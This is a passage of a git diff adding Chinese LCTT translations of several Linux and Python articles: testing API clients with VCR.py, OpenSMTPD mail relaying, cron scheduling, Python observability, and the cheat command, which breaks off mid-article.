find_weather_for(city, adapter=urllib_adapter) +    return WeatherInfo.from_dict(data) +``` + +_好的,那测试怎么做?_ + +为了测试 `retrieve_weather`, 只要创建一个在测试过程中使用的假的适配器: + +``` +@responses.activate +def test_retrieve_weather_using_adapter( +    fake_weather_info, +): +    def fake_adapter(url: str): +        return fake_weather_info + +    weather_info = retrieve_weather(city="London", adapter=fake_adapter) +    assert weather_info == WeatherInfo.from_dict(fake_weather_info) +``` + +如果运行测试,会获得: + +``` +============================= test session starts ============================== +tests/test_weather_app.py::test_retrieve_weather_using_adapter PASSED    [100%] +============================== 1 passed in 0.22s =============================== +``` + +#### 优点 + +这个方法的优点是可以成功将测试和实现解耦。使用[依赖注入][6]dependency injection在测试期间注入一个假的适配器。你也可以在任何时候更换适配器,包括在运行时。这些事情都不会改变任何行为。 + +#### 缺点 + +缺点就是,因为你在测试中用了假的适配器,如果在实现中往适配器中引入了一个 bug,测试的时候就不会发现。比如说,往 `requests` 传入了一个有问题的参数,像这样: + +``` +def requests_adapter(url: str) -> dict: +    resp = requests.get(url, headers=) +    return resp.json() +``` + +在生产环境中,适配器会有问题,而且单元测试没办法发现。但是事实是,之前的方法也会有同样的问题。这就是为什么不仅要单元测试,并且总是要集成测试。也就是说,要考虑另一个选项。 + +### 3、使用 VCR.py 测试 API + +现在终于到了讨论我们最后一个选项了。诚实地说,我也是最近才发现这个。我用模拟mock也很长时间了,而且总是有一些问题。`VCR.py` 是一个库,它可以简化很多 HTTP 请求的测试。 + +它的工作原理是将第一次运行测试的 HTTP 交互记录为一个 YAML 文件,叫做 `cassette`。请求和响应都会被序列化。当第二次运行测试的时候,`VCT.py` 将拦截对请求的调用,并且返回一个响应。 + +现在看一下下面如何使用 `VCR.py` 测试 `retrieve_weather`: + +``` +@vcr.use_cassette() +def test_retrieve_weather_using_vcr(fake_weather_info): +    weather_info = retrieve_weather(city="London") +    assert weather_info == WeatherInfo.from_dict(fake_weather_info) +``` + +_天呐,就这样?没有设置?`@vcr.use_cassette()` 是什么?_ + +是的,就这样!没有设置,只要一个 `pytest` 标注告诉 VCR 去拦截调用,然后保存 cassette 文件。 + +_cassette 文件是什么样?_ + +好问题。这个文件里有很多东西。这是因为 VCR 保存了交互中的所有细节。 + +``` +interactions: +- request: +    body: null +    headers: +      Accept: +      - '*/*' +      Accept-Encoding: +      - gzip, deflate +      Connection: +      - keep-alive +      User-Agent: +      - python-requests/2.24.0 +    method: GET +    uri: https://api.openweathermap.org/data/2.5/weather?q=London&appid=&units=metric +  response: +    body: +      string: '{"coord":{"lon":-0.13,"lat":51.51},"weather":[{"id":800,"main":"Clear","description":"clearsky","icon":"01d"}],"base":"stations","main":{"temp":16.53,"feels_like":15.52,"temp_min":15,"temp_max":17.78,"pressure":1023,"humidity":72},"visibility":10000,"wind":{"speed":2.1,"deg":40},"clouds":{"all":0},"dt":1600420164,"sys":{"type":1,"id":1414,"country":"GB","sunrise":1600407646,"sunset":1600452509},"timezone":3600,"id":2643743,"name":"London","cod":200}' +    headers: +      Access-Control-Allow-Credentials: +      - 'true' +      Access-Control-Allow-Methods: +      - GET, POST +      Access-Control-Allow-Origin: +      - '*' +      Connection: +      - keep-alive +      Content-Length: +      - '454' +      Content-Type: +      - application/json; charset=utf-8 +      Date: +      - Fri, 18 Sep 2020 10:53:25 GMT +      Server: +      - openresty +      X-Cache-Key: +      - /data/2.5/weather?q=london&units=metric +    status: +      code: 200 +      message: OK +version: 1 +``` + +_确实很多!_ + +真的!好的方面就是你不需要留意它。`VCR.py` 会为你安排好一切。 + +#### 优点 + +现在看一下优点,我可以至少列出五个: + + * 没有设置代码。 + * 测试仍然是分离的,所以很快。 + * 测试是确定的。 + * 如果你改了请求,比如说用了错误的 header,测试会失败。 + * 没有与代码实现耦合,所以你可以换适配器,而且测试会通过。唯一有关系的东西就是请求必须是一样的。 + +#### 缺点 + +再与模拟相比较,除了避免了错误,还是有一些问题。 + +如果 API 提供者出于某种原因修改了数据格式,测试仍然会通过。幸运的是,这种情况并不经常发生,而且在这种重大改变之前,API 提供者通常会给他们的 API 提供不同版本。 + +另一个需要考虑的事情是就地in place端到端end-to-end测试。每次服务器运行的时候,这些测试都会调用。顾名思义,这是一个范围更广、更慢的测试。它们会比单元测试覆盖更多。事实上,并不是每个项目都需要使用它们。所以,就我看来,`VCR.py` 对于大多数人的需求来说都绰绰有余。 + +### 总结 + +就这么多了。我希望今天你了解了一些有用的东西。测试 API 客户端应用可能会有点吓人。然而,当武装了合适的工具和知识,你就可以驯服这个野兽。 + +在 [我的 Github][8] 上可以找到这个完整的应用。 + +_这篇文章最早发表在 [作者的个人博客][9],授权转载_ + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/9/unit-test-python + +作者:[Miguel Brito][a] +选题:[lujun9972][b] +译者:[Yufei-Yan](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/miguendes +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) +[2]: https://miguendes.me/how-i-set-up-my-python-workspace +[3]: https://opensource.com/sites/default/files/sbzkkiywh.jpeg +[4]: https://en.wikipedia.org/wiki/Mock_object +[5]: https://miguendes.me/7-pytest-plugins-you-must-definitely-use +[6]: https://stackoverflow.com/questions/130794/what-is-dependency-injection +[7]: https://api.openweathermap.org/data/2.5/weather?q=London&appid= +[8]: https://github.com/miguendes/tutorials/tree/master/testing_http +[9]: https://miguendes.me/3-ways-to-test-api-client-applications-in-python diff --git a/published/202208/20211109 relaying mail to multiple smarthosts with opensmtpd.md b/published/202208/20211109 relaying mail to multiple smarthosts with opensmtpd.md new file mode 100644 index 0000000000..5b9a69799c --- /dev/null +++ b/published/202208/20211109 relaying mail to multiple smarthosts with opensmtpd.md @@ -0,0 +1,75 @@ +[#]: subject: "relaying mail to multiple smarthosts with opensmtpd" +[#]: via: "https://jao.io/blog/2021-11-09-relaying-mail-to-multiple-smarthosts.html" +[#]: author: "jao https://jao.io" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14891-1.html" + +使用 OpenSMTPD 将邮件中继到多个 smarthost +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/03/162813rc900xbgx3xggxxg.jpg) + +我喜欢使用本地 SMTP 守护进程从我的笔记本电脑发送电子邮件,因为这样我即使在断开连接的情况下也可以发送电子邮件,而且,即使是在网络正常的情况下,因为我不需要等待网络协议在远程 smarthost 上完成。哦,我还需要本地邮件投递。 + +多年来,我一直使用 Postfix 来达到这些目的。它具有可接受的简单配置。但最近我开始喜欢 VPN([mullvad][1],如果你想知道的话),而在 `/etc/resolv.conf` 发生变化时会变得混乱(例如,你在 Postfix 的服务启动后才启动 VPN)。我找到了一个非常简单的替代方案:[OpenSMTPD][2]。 + +假设我想在使用 [jao@gnu.org][3] 发送电子邮件时使用 SMTP 服务器 fencepost.gnu.org,而在我的 `From` 头中使用 [mail@jao.io][4] 或 [news@xmobar.org][5] 时使用 smtp.jao.io。OpenSMTPD 让你通过一个非常简单的配置文件 `/etc/smtpd.conf` 来实现: + +(这是我的 Debian 机器中的默认配置文件。另一个流行的替代方案是 `/etc/openstmpd.conf`)。 + +``` +table aliases file:/etc/aliases +table secrets db:/etc/mail/secrets.db + +table sendergnu { jao@gnu.org } +table senderjao { mail@jao.io, news@xmobar.org } + +listen on localhost + +action "local" mbox alias +action "relaygnu" relay host smtp+tls://gnu@fencepost.gnu.org:587 auth +action "relayjao" relay host smtps://jao@smtp.jao.io:465 auth + +match for local action "local" +match for any from mail-from action "relaygnu" +match for any from mail-from action "relaygan" +``` + +我们还为此配置了本地投递。这是完整的配置文件!唯一需要的另一件事是生成 `secrets.db` 文件,其中包含与键 `gnu` 和 `jao` 对应的用户和密码(这些只是任意名称)。为此,我们使用它们创建一个纯文本文件,使用形式为 ` :` 的条目: + +``` +gnu jao:my fencepost password +jao mail@jao.io:xxxxxxxxxxxxxxxxx +``` + +`fencepost.gnu.org` 用户是 `jao`,`smtp.jao.io` 的用户是 `mail@jao.io`(你看,不需要转义空格或 ats)。然后我们使用程序 `makemap` 来创建密钥数据库: + +``` +makemap secrets && rm secrets +``` + +-------------------------------------------------------------------------------- + +via: https://jao.io/blog/2021-11-09-relaying-mail-to-multiple-smarthosts.html + +作者:[jao][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jao.io +[b]: https://github.com/lujun9972 +[1]: https://en.wikipedia.org/wiki/Mullvad +[2]: https://www.opensmtpd.org/ +[3]: mailto:jao@gnu.org +[4]: mailto:mail@jao.io +[5]: mailto:news@xmobar.org +[6]: tmp.zHAc8OxDnm#fn.1 +[7]: tmp.zHAc8OxDnm#fnr.1 +[8]: https://jao.io/blog/tags.html +[9]: https://jao.io/blog/tag-sundry.html diff --git a/published/202208/20211115 Linux tips for using cron to schedule tasks.md b/published/202208/20211115 Linux tips for using cron to schedule tasks.md new file mode 100644 index 0000000000..18f7eb0335 --- /dev/null +++ b/published/202208/20211115 Linux tips for using cron to schedule tasks.md @@ -0,0 +1,189 @@ +[#]: subject: "Linux tips for using cron to schedule tasks" +[#]: via: "https://opensource.com/article/21/11/cron-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14932-1.html" + +使用 cron 定时任务的小技巧 +====== + +> 通过使用这个简单而强大的 Linux 命令行工具,来安排备份、文件清理以及其他任务。 + +![](https://img.linux.net.cn/data/attachment/album/202208/15/151143fjdses6bdj2nj1j5.jpg) + +在计算机上让任务按照有规律并且可预测的时间表运行很重要。作为人类,我们有时会因为分心、脑子里想太多,或是度假而记不住要做的事情。计算机真的很擅长按计划做事,但在计算机采取行动之前,人类必须对计算机进行编程。 + +在某种程度上,cron 系统是编程的初级简单入门。通过编辑一个文件就可以让计算机做你想让它做的事。你甚至不需要知道文件保存在哪里。只需键入一个简单的命令,输入你希望电脑遵循的 “配方”,并保存。从那时起,计算机会在指定时间执行你的指令,直到被告知停止。 + +从设计上来看,cron 不是一个复杂的系统。这里有一些你需要了解的内容。 + +### cron 是什么? + +cron 命令在 Linux 和 Unix 中无处不在,而且它经常被模仿和重塑,以至于它几乎成了按计划发生的事情的一个通用术语。它是自动化的一种形式,尽管有不同的实现方式(比如 Dillon's cron、Vixie's cron、chrony 和其他),以及像 anacron 和 systemd 定时器这样的变化,但其语法和工作流程几十年来一直保持着基本一致。 + +cron 在一个 “假脱机spool” 系统上工作,像打印机和电子邮件一样。如果不你知道打印机和电子邮件使用假脱机也没关系,因为假脱机文件的意义在于,你不需要想太多。在 Linux 系统中,`/var/spool` 目录被设计为重要但低级的文件的中心枢纽,用户不需要直接与之交互。 在 `/var/spool` 中管理的一个假脱机是 cron 表(简称为 “crontab”)。 包括你在内的每个用户在 Linux 系统中都有一个 crontab。用户可以编辑、查看和删除自己的 crontab。除此之外,用户可以使用 crontab 来安排任务。cron 系统监控 crontab,并确保一个 crontab 中列出的任何工作都能在其指定时间执行。 + +### 编辑 cron 设置 + +你可以使用 `crontab` 命令和 `-e`(代表“编辑”)选项来编辑你的 crontab。默认情况下,大多数系统会调用 `vim` 文本编辑器。如果你和我一样,不使用 Vim,那么你可以在 `~/.bashrc` 文件中为自己设置一个不同的编辑器。我把我的设置为 Emacs,但你也可以试试 [Nano][4]、[Kate][5],或者任何你喜欢的编辑器。`EDITOR` 环境变量定义了你在终端使用的文本编辑器,而 `VISUAL` 变量定义了你在图形模式下使用的编辑器: + +``` +export EDITOR=nano +export VISUAL=kate +``` + +更新设置后刷新你的 shell 会话: + +``` +$ source ~/.bashrc +``` + +现在你可以用喜欢的编辑器编辑 crontab: + +``` +$ crontab -e +``` + +#### 为任务执行安排时间 + +cron 系统本质上是一个日历系统。可以通过五个不同的属性告诉 cron 需要让一个任务多长时间运行一次:分、时、日、月、星期。这些属性的顺序是固定的,并且不一定是直观的,你可以把它们看作是过滤器或掩码。默认情况下,你可以理解为所有东西都被设置为“总是”或者“每一个”。此命令将在全年的每一天每小时每分钟运行 `touch /tmp/hello`: + +``` +* * * * * touch /tmp/hello +``` + +可以通过设置每个属性的具体定义来限制这个包罗万象的时间安排表。使任务在每个小时的 30 分钟时运行,将分钟设置为 `30`: + +``` +30 * * * * touch /tmp/hello +``` + +可以通过一个具体的小时来进一步约束这个指令。使任务在每个凌晨 3:30 运行: + +``` +30 3 * * * touch /tmp/hello +``` + +你也可以让这个任务只在每个月的第一天运行: + +``` +30 3 1 * * touch /tmp/hello +``` + +你可以用 `1` 至 `12` 表示 1 至 12 月来设置月份,用 `0` 至 `6` 表示周日至周六来设置星期。这项任务在 4 月份的周一的 3:15 运行: + +``` +15 3 * 4 1 touch /tmp/hello +``` + +### 设置增量 + +所有这些设置都与一个固定时间 _完全_ 匹配。使用 cron 符号设置可以在特定时间段后运行任务,例如,每 15 分钟运行一个任务: + +``` +*/15 * * * * touch /tmp/hello +``` + +每三天在上午 10 点运行任务: + +``` +* 10 */3 * * touch /tmp/hello +``` + +每 6 小时运行一次任务: + +``` +* */6 * * * touch /tmp/hello +``` + +### Cron 速记符 + +现代的 cron 实现已经为常见的时间安排表添加了方便的速记符,包括: + +* `@hourly`:每小时 +* `@daily`:每天 +* `@weekly`:每周 +* `@monthly`:每月 +* `@yearly` 或 `@annually`:每年 + +### 列出 cron 任务 + +使用 `crontab` 命令,查看计划中的 cron 任务列表: + +``` +$ crontab -l +15 3 * 4 1 touch /tmp/hello +``` + +### 删除一个 crontab + +当一个 crontab 任务不需要时,可以使用 `-r` 选项来删除它: + +``` +$ crontab -r -i +``` + +`-i` 选项代表 _交互式_。它在删除文件之前会提示你进行确认。 + +### Cron 可以做什么 + +知道如何使用 cron 是一回事,但但知道它的用途是另一回事。经典用例就是备份计划。如果你的电脑一天中大部分时间都是开着的,或者整天整夜地开着,那么可以为重要分区进行例行备份。我会在每天凌晨 3 点在主要数据分区上运行一个名为 `rdiff-backup` 的备份程序: + +``` +$ crontab -l | grep rdiff +* 3 * * * rdiff-backup /data/ /vault/ +``` + +另一个常见的用途是系统维护。在我的 Slackware 桌面上,每周五下午会更新本地版本库目录: + +``` +$ crontab -l | grep slack +* 14 * * 5 sudo slackpkg update +``` + +我还会每 3 天在 15:00 运行一个 Ansible 脚本来 [清理我的下载文件夹][6] : + +``` +$ crontab -l | grep ansible +* 15 */3 * * ansible-playbook /home/seth/Ansible/cleanup.yaml +``` + +有一些重复数据删除脚本、文件大小和 `/tmp` 目录的监视器、照片调整器、文件移动工具以及很多琐碎的任务,你可以安排在后台运行,以帮助保持系统不受干扰。有了 cron,计算机可以以我希望我的实体公寓能够做到的方式来照顾自己。 + +### 记住 cron 的设置 + +除了想明白你为什么需要 cron 之外,根据我的经验,cron 最难的事情是记住它的语法。重复这句话给自己听,反反复复,直到你记牢它: + +> 分、时、日、月、星 +> +> 分、时、日、月、星 +> +> 分、时、日、月、星 + +更好的做法是,去 [下载我们免费的速查表][7] ,这样当你最需要它时,它触手可及! + +> **[Cron 速查表][7]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/cron-linux + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/linux_keyboard_desktop.png?itok=I2nGw78_ "Linux keys on the keyboard for a desktop computer" +[2]: https://opensource.com/article/21/2/linux-automation +[3]: https://opensource.com/article/20/7/systemd-timers +[4]: https://opensource.com/article/20/12/gnu-nano +[5]: https://opensource.com/article/20/12/kate-text-editor +[6]: https://opensource.com/article/21/9/keep-folders-tidy-ansible +[7]: https://opensource.com/downloads/linux-cron-cheat-sheet diff --git a/published/202208/20211122 7 key components of observability in Python.md b/published/202208/20211122 7 key components of observability in Python.md new file mode 100644 index 0000000000..d577b7f35b --- /dev/null +++ b/published/202208/20211122 7 key components of observability in Python.md @@ -0,0 +1,176 @@ +[#]: subject: "7 key components of observability in Python" +[#]: via: "https://opensource.com/article/21/11/observability-python" +[#]: author: "Moshe Zadka https://opensource.com/users/moshez" +[#]: collector: "lujun9972" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14889-1.html" + +Python 中可观测性的 7 个关键部分 +====== + +> 学习为什么 Python 中的可观测性很重要,以及如何在你的软件开发生命周期中实现它。 + +![](https://img.linux.net.cn/data/attachment/album/202208/02/115713cbml51nooltb21bx.jpg) + +你写的应用会执行很多代码,而且是以一种基本上看不到的方式执行。所以你是怎么知道: + + * 代码是否在运行? + * 是不是在正常工作? + * 谁在使用它,如何使用? + +可观测性是一种能力,可以通过查看数据来告诉你,你的代码在做什么。在这篇文章中,主要关注的问题是分布式系统中的服务器代码。并不是说客户端应用代码的可观测性不重要,只是说客户端往往不是用 Python 写的。也不是说可观测性对数据科学不重要,而是在数据科学领域的可观测性工具(大多是 Juptyter 和快速反馈)是不同的。 + +### 为什么可观测性很重要 + +所以,为什么可观测性重要呢?在软件开发生命周期(SDLC)中,可观测性是一个关键的部分。 + +交付一个应用不是结束,这只是一个新周期的开始。在这个周期中,第一个阶段是确认这个新版本运行正常。否则的话,很有可能需要回滚。哪些功能正常运行?哪些功能有细微的错误?你需要知道发生了什么,才能知道接下来要怎么做。这些东西有时候会以奇怪的方式不能正常运行。不管是天灾,还是底层基础设施的问题,或者应用进入了一种奇怪的状态,这些东西可能在任何时间以任何理由停止工作。 + +在标准 SDLC 之外,你需要知道一切都在运行中。如果没有,有办法知道是怎么不能运行的,这是非常关键的。 + +### 反馈 + +可观测性的第一部分是获得反馈。当代码给出它正在做什么的信息时,反馈可以在很多方面提供帮助。在模拟环境或测试环境中,反馈有助于发现问题,更重要的是,以更快的方式对它们进行分类。这可以改善在验证步骤中的工具和交流。 + +当进行金丝雀部署canary deployment或更改特性标志时,你需要知道是否要继续,还是等更长时间,或者回滚,反馈就显得很重要了。 + +### 监控 + +有时候你怀疑有些东西不太对。也许是一个依赖服务有问题,或者是社交网站爆出了大量你的网站的问题。也许在相关的系统中有复杂的操作,然后你想确保你的系统能完美处理。在这些情况下,你就想把可观测性系统的数据整合到控制面板上。 + +当写一个应用的时候,这些控制面板需要是设计标准的一部分。只有当你的应用能把数据共享给这些控制面板,它们才会把这些数据显示出来。 + +### 警报 + +看控制面板超过 15 分钟就像看着油漆变干一样。任何人都不应该遭受这种折磨。对于这种任务,我们要有报警系统。报警系统将可观测性数据与预期数据进行对比,当它们不匹配的时候就发出通知。完全深入研究时间管理超出了本文的范围。然而,从两方面来说,可观测应用是报警友好的alert-friendly: + + * 它们有足够多,足够好的数据,发出的警报才是高质量的。 + * 警报有足够的数据,或者接收者可以很容易的得到数据,这样有助于找到源头。 + +高质量警报有三个特点: + + * 较少的错报:如果有警报,那一定是有问题了。 + * 较少的漏报:如果有问题,那一定有警报触发。 + * 及时性:警报会迅速发出以减少恢复时间。 + +这三个特点是互相有冲突的。你可以通过提高监测的标准来减少错误警报,代价是增加了漏报。你也可以通过降低监测的门槛来减少漏报,代价是增加错报。通过收集更多数据,你也可以同时减少错报和漏报,而代价是降低了及时性。 + +同时改善这三个参数就更难了。这就要求高质量的可观测性数据。更高质量的数据可以同时改善这三个特点。 + +### 日志 + +有的人喜欢嘲笑用打印来调试的方法。但是,在一个大多数软件都不在你本机运行的世界里,你所能做的只有打印调试。日志记录就是打印调试的一种形式。尽管它有很多缺点,但 Python 日志库提供了标准化的日志记录。更重要的是,它意味着你可以通过这些库去记录日志。 + +应用程序要负责配置日志的记录方式。讽刺地是,在应用程序对配置日志负责了多年以后,现在越来越不是这样了。在现代容器编排orchestration环境中,现代应用程序记录标准错误和标准输出,并且信任编排orchestration系统可以合理的处理日志。 + +然而,你不应该依赖库,或者说,其他任何地方。如果你想让操作的人知道发生了什么,_使用日志,而不是打印_。 + +#### 日志级别 + +日志记录的一个最重要功能就是 _日志级别_。不同的日志级别可以让你合理的过滤并分流日志。但是这只有在日志级别保持一致的情况下才能做到。最后,你应该在整个应用程序中保持日志级别的一致性。 + +选择不兼容语义的库可以通过在应用层面的适当配置来追溯修复,这只需要通过使用 Python 中最重要的通用风格做到:`getLogger(__name-_)`。 + +大多数合理的库都会遵循这个约定。过滤器Filters可以在日志对象发出之前就地修改它们。你可以给处理程序附加一个过滤器,这个处理程序会根据名称修改消息,使其具有合适的级别。 + +``` +import logging +LOGGER=logging.getLogger(__name__) +``` + +考虑到这一点,你现在必须明确日志级别的语义。这其中有很多选项,但是下面这些是我的最爱: + + * `Error`:发送一个即时警告。应用程序处于一个需要操作人员引起注意的状态。(这意味着包含 `Critical` 和 `Error`) + * `Warning`:我喜欢把这些称作“工作时间警报”。这种情况下,应该有人在一个工作日内关注一下。 + * `Info`:这是在正常工作流程中发出的。如果怀疑有问题的时候,这个是用来帮助人们了解应用程序在做什么的。 + * `Debug`:默认情况下,这个不应该在生产环境中出现。在模拟环境或开发环境下,可以发出来,也可以不发。如果需要更多的信息,在生产环境也可以特地被打开。 + +任何情况下都不要在日志中包含个人身份信息Personal Identifiable Information(PII)或密码。无论日志级别是什么,都是如此,比如级别更改,激活调试级别等等。日志聚合系统很少是 PII 安全PII-safe的,特别是随着 PII 法规的不断发展(HIPAA、GDPR 等等)。 + +#### 日志聚合 + +现代系统几乎都是分布式的。冗余redundancy扩展性scaling,有时是管辖权jurisdictional需要更多的水平分布。微服务意味着垂直分布。登录到每个机器去查看日志已经是不现实的了。出于合理的控制原因,允许开发人员登录到机器中会给予他们更多的权限,这不是个好主意。 + +所有的日志都应该被发到一个聚合器。有一些商业的方案,你可以配置一个 ELK 栈,或者也可以使用其他的数据库(SQL 或则 no-SQL)。作为一个真正的低技术解决方案,你可以将日志写入文件,然后将它们发送到对象存储中。有很多解决方案,但是最重要的事情是选择一个,并且将所有东西聚合到一起。 + +#### 记录查询 + +在将所有东西记录到一个地方后,会有很多日志。具体的聚合器可以定义如何写查询,但是无论是通过从存储中搜索还是写 NoSQL 查询,记录查询以匹配源和细节都是很有用的。 + +### 指标抓取 + +指标抓取Metric Scraping是一个服务器拉取server pull模型。指标服务器定时和应用程序连接,并且拉取指标。 + +最后,这意味着服务器需要连接和找到所有相关的应用服务器。 + +#### 以 Prometheus 为标准 + +如果你的指标聚合器是 Prometheus,那么 [Prometheus][2] 格式做为一个端点endpoint是很有用的。但是,即使聚合器不是 Prometheus,也是很有用的。几乎所有的系统都包含与 Prometheus 端点兼容的垫片shim + +使用客户端 Python 库给你的应用程序加一个 Prometheus 垫片,这将使它能够被大多数的指标聚合器所抓取。当 Prometheus 发现一个服务器,它就期望找到一个指标端点。这经常是应用程序路由的一部分,通常在 `/metrics` 路径下。不管 Web 应用的平台是什么,如果你能在一个端点下运行一个定制类型的定制字节流,Prometheus 就可以将它抓取。 + +对于大多数流行的框架,总有一个中间件插件或者类似的东西收集指标,如延迟和错误率。通常这还不够。你需要收集定制的应用数据:比如,每个端点的缓存命中/缺失hit/miss率,数据库延迟,等等。 + +#### 使用计数器 + +Prometheus 支持多个数据类型。一个重要且巧妙的类型就是计数器。计数器总是在前进 —— 但有一点需要注意。 + +当应用重置,计数器会归零。计数器中的这些“历时epochs”通过将计数器“创建时间”作为元数据发送来管理。Prometheus 知道不去比较两个不同历时epochs的计数器。 + +#### 使用仪表值 + +仪表值会简单很多:它们测量瞬时值。用它们来测量会上下起伏的数据:比如,分配的总内存大小,缓存大小,等等。 + +#### 使用枚举值 + +枚举值对于整个应用程序的状态是很有用的,尽管它们可以以更精细的方式被收集。比如,你正使用一个功能门控feature-gating框架,一个有多个状态(比如,使用中、关闭、屏蔽shadowing 等)的功能,也许使用枚举会更有用。 + +### 分析 + +分析不同于指标,因为它们要对应连续的事件。比如,在网络服务器中,事件是一个外部请求及其产生的工作。特别是,在事件完成之前事件分析是不能被发送的。 + +事件包含特定的指标:延迟,数量,以及可能产生的对其他服务请求的细节,等等。 + +#### 结构化日志 + +现在一个可能的选择是将日志结构化。发送事件只发送带有正确格式的有效载荷payload的日志。这个数据可以从日志聚合器请求,然后解析,并且放入一个合适的系统,这样可以对它的可见性。 + +### 错误追踪 + +你可以使用日志来追踪错误,也可以用分析来追踪错误。但是一个专门的错误系统还是值得的。一个为错误而优化的系统可以发送更多的错误,因为错误毕竟还是罕见的。这样它就可以发送正确的数据,并且用这些数据,它能做更多智能的事情。Python 中的错误追踪系统通常和一般的异常处理关联,然后收集数据,并且把它发到一个专门的错误聚合器。 + +#### 使用 Sentry + +很多情况下,自己运行 Sentry 是正确的做法。当错误发生时,就说明有些东西就出问题了。可靠地删除敏感数据是不可能的,因为一定有会出现敏感数据被发送到不应该的地方。 + +通常,这种工作量并不会很大:异常并不常出现。最后,这个系统并不需要很高的质量,也不需要高可靠性的备份。昨天的错误应该已经修复了,希望如此,如果没有,你还会发现的! + +### 快速、安全、可重复:三者都要 + +可观测的系统开发起来更快,因为它们可以给你提供反馈。它们运行起来也更安全,因为当出问题的时候,它们也会更早的让你知道。最后,因为有反馈回路,可观测性也有助于围绕它构建可重复的过程。可观测性可以让你了解你的应用程序。而更了解它们,就胜利了一半。 + +#### 磨刀不误砍柴功 + +构建所有的可观测层是一件困难的事情。总会让人感觉是在浪费的工作,或者更像是“可以有,但是不急”。 + +之后再做这个可以吗?也许吧,但是不应该。正确的构建可观测性可以加速后面所有阶段的开发:测试、监控,甚至是培训新人。在一个和科技行业一样动荡的行业,减少培训新人的工作量绝对是值得的。 + +事实上,可观测性很重要,所以尽早把它写出来,然后就可以在整个过程中进行维护。反过来,它也会帮你维护你的软件。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/observability-python + +作者:[Moshe Zadka][a] +选题:[lujun9972][b] +译者:[MCGA](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/moshez +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/search_find_code_python_programming.png?itok=ynSL8XRV (Searching for code) +[2]: https://opensource.com/article/21/7/run-prometheus-home-container diff --git a/published/202208/20220602 The only Linux command you need to know.md b/published/202208/20220602 The only Linux command you need to know.md new file mode 100644 index 0000000000..37234f0dbf --- /dev/null +++ b/published/202208/20220602 The only Linux command you need to know.md @@ -0,0 +1,164 @@ +[#]: subject: "The only Linux command you need to know" +[#]: via: "https://opensource.com/article/22/6/linux-cheat-command" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14961-1.html" + +“作弊”:只需要知道这一个 Linux 命令就够了 +====== + +> Linux cheat 命令是一个实用程序,可以用来搜索和显示你想要使用的命令的使用示例。 + +![](https://img.linux.net.cn/data/attachment/album/202208/24/160901xi66t9pe74x7pxqp.jpg) + +互联网上有很多关于 Linux 和开源的信息,但是当你想要深入工作,通常需要一份便捷的文档。早在 Linux 出现之前的 Unix 系统中,就有 `man`(“manual” 的缩写)和 `info` 命令了,二者都会显示命令、配置文件、系统调用等的官方项目文档。 + +关于 `man` 和 `info` 页面是对知晓如何使用工具的用户的有用提醒,还是为初次使用的用户提供介绍存在争议。不管怎样,`man` 和 `info` 页面介绍了工具以及如何使用该工具,很少涉及特定任务以及如何完成它们。正是出于这个原因,开发了 `cheat` 命令。 + +例如,设想你想不起来如何 [解压 tar 压缩包文件][2] 。`man` 页面会给你展示所有的选项,但需要你将这些信息转换为命令: + +``` +tar -A [OPTIONS] ARCHIVE ARCHIVE +tar -c [-f ARCHIVE] [OPTIONS] [FILE...] +tar -d [-f ARCHIVE] [OPTIONS] [FILE...] +tar -t [-f ARCHIVE] [OPTIONS] [MEMBER...] +tar -r [-f ARCHIVE] [OPTIONS] [FILE...] +tar -u [-f ARCHIVE] [OPTIONS] [FILE...] +tar -x [-f ARCHIVE] [OPTIONS] [MEMBER...] +``` + +这确实是一些用户需要的,但是也使一些用户感到困惑。相比之下,`cheat` 命令会罗列常用命令: + +``` +$ cheat tar + +# To extract an uncompressed archive: +tar -xvf /path/to/foo.tar + +# To extract a .tar in specified Directory: +tar -xvf /path/to/foo.tar -C /path/to/destination/ + +# To create an uncompressed archive: +tar -cvf /path/to/foo.tar /path/to/foo/ + +# To extract a .tgz or .tar.gz archive: +tar -xzvf /path/to/foo.tgz +tar -xzvf /path/to/foo.tar.gz +[...] +``` + +这真是雪中送炭! + +### Linux Cheat 命令 + +`cheat` 命令是一个实用程序,可以用来搜索和显示你想要使用的命令的使用示例。如大多数 Unix 命令一样,同一个概念有多种不同的实现方式,它包括一个 [使用 Go 编写][3] 的和一个由我帮助维护的 [仅用 100 行 Bash 编写][4] 的两个版本。 + +若要安装 Go 版本的,下载 [最新版][5] 